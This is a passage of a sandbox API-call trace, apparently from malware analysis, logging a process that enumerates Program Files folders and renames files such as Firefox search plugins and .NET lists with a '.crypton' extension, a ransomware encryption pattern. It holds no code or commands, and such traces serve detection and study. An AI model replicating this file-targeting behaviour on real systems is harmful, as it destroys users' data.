nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0182.947] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft.NET\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xea66c820, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea66c820, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0182.953] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xea692980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea692980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0182.960] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Microsoft.NET\\RedistList\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xea692980, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea692980, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0182.970] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml.crypton" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_client.xml.crypton"), dwFlags=0x2) returned 1 [0182.982] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml.crypton" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\assemblylist_4_extended.xml.crypton"), dwFlags=0x2) returned 1 [0182.986] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xea6dec40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea6dec40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0182.991] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xea6dec40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea6dec40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.035] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\blocklist.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml.crypton" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\blocklist.xml.crypton"), dwFlags=0x2) returned 1 [0183.043] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\components\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xea751060, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea751060, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0183.049] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xea7771c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea7771c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0183.055] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xea7771c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea7771c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.058] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png.crypton" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\icon.png.crypton"), dwFlags=0x2) returned 1 [0183.065] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xea79d320, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea79d320, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0183.068] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\amazondotcom.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\amazondotcom.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\amazondotcom.xml.crypton" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\amazondotcom.xml.crypton"), dwFlags=0x2) returned 1 [0183.073] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\bing.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\bing.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\bing.xml.crypton" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\bing.xml.crypton"), dwFlags=0x2) returned 1 [0183.077] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\eBay.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\ebay.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\eBay.xml.crypton" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\ebay.xml.crypton"), dwFlags=0x2) returned 1 [0183.082] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\google.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\google.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\google.xml.crypton" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\google.xml.crypton"), dwFlags=0x2) returned 1 [0183.086] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\twitter.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\twitter.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\twitter.xml.crypton" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\twitter.xml.crypton"), dwFlags=0x2) returned 1 [0183.090] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\wikipedia.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\wikipedia.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\wikipedia.xml.crypton" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\wikipedia.xml.crypton"), dwFlags=0x2) returned 1 [0183.094] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\yahoo.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\yahoo.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\yahoo.xml.crypton" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\yahoo.xml.crypton"), dwFlags=0x2) returned 1 [0183.102] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\defaults\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xea7e95e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea7e95e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.109] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xea80f740, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea80f740, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0183.119] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref\\channel-prefs.js" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults\\pref\\channel-prefs.js"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref\\channel-prefs.js.crypton" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults\\pref\\channel-prefs.js.crypton"), dwFlags=0x2) returned 1 [0183.128] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xea8358a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea8358a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.144] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\install.log" (normalized: "c:\\program files (x86)\\mozilla firefox\\install.log"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\install.log.crypton" (normalized: "c:\\program files (x86)\\mozilla firefox\\install.log.crypton"), dwFlags=0x2) returned 1 [0183.151] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xea85ba00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea85ba00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.154] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\uninstall.log"), lpNewFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\uninstall\\uninstall.log.crypton" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\uninstall.log.crypton"), dwFlags=0x2) returned 1 [0183.161] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf17d760, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xea881b60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea881b60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.165] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Mozilla Maintenance Service\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf770e60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xea881b60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea881b60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0183.182] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\MSBuild\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xea881b60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea881b60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0183.187] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\MSBuild\\Microsoft\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xea8cde20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea8cde20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.195] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xea8cde20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea8cde20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0183.200] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xea8cde20, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea8cde20, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.205] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xea8f3f80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea8f3f80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.210] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xea8f3f80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea8f3f80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0183.214] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xea8f3f80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea8f3f80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 [0183.232] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xea91a0e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea91a0e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0183.238] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xea940240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea940240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.242] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xea940240, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea940240, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.248] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml.crypton" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml.crypton"), dwFlags=0x2) returned 1 [0183.256] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xea9663a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea9663a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.261] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\WinFXList.xml.crypton" (normalized: "c:\\program files (x86)\\reference assemblies\\microsoft\\framework\\v3.0\\winfxlist.xml.crypton"), dwFlags=0x2) returned 1 [0183.268] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xea98c500, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea98c500, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549810 [0183.275] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xea98c500, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea98c500, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.281] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*", lpFindFileData=0x4aa078 | out: lpFindFileData=0x4aa078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xea9b2660, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea9b2660, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549850 [0183.287] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Uninstall Information\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xea9b2660, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea9b2660, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0183.292] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Defender\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xea9b2660, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea9b2660, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549710 [0183.297] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Windows Defender\\en-US\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xea9d87c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xea9d87c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549790 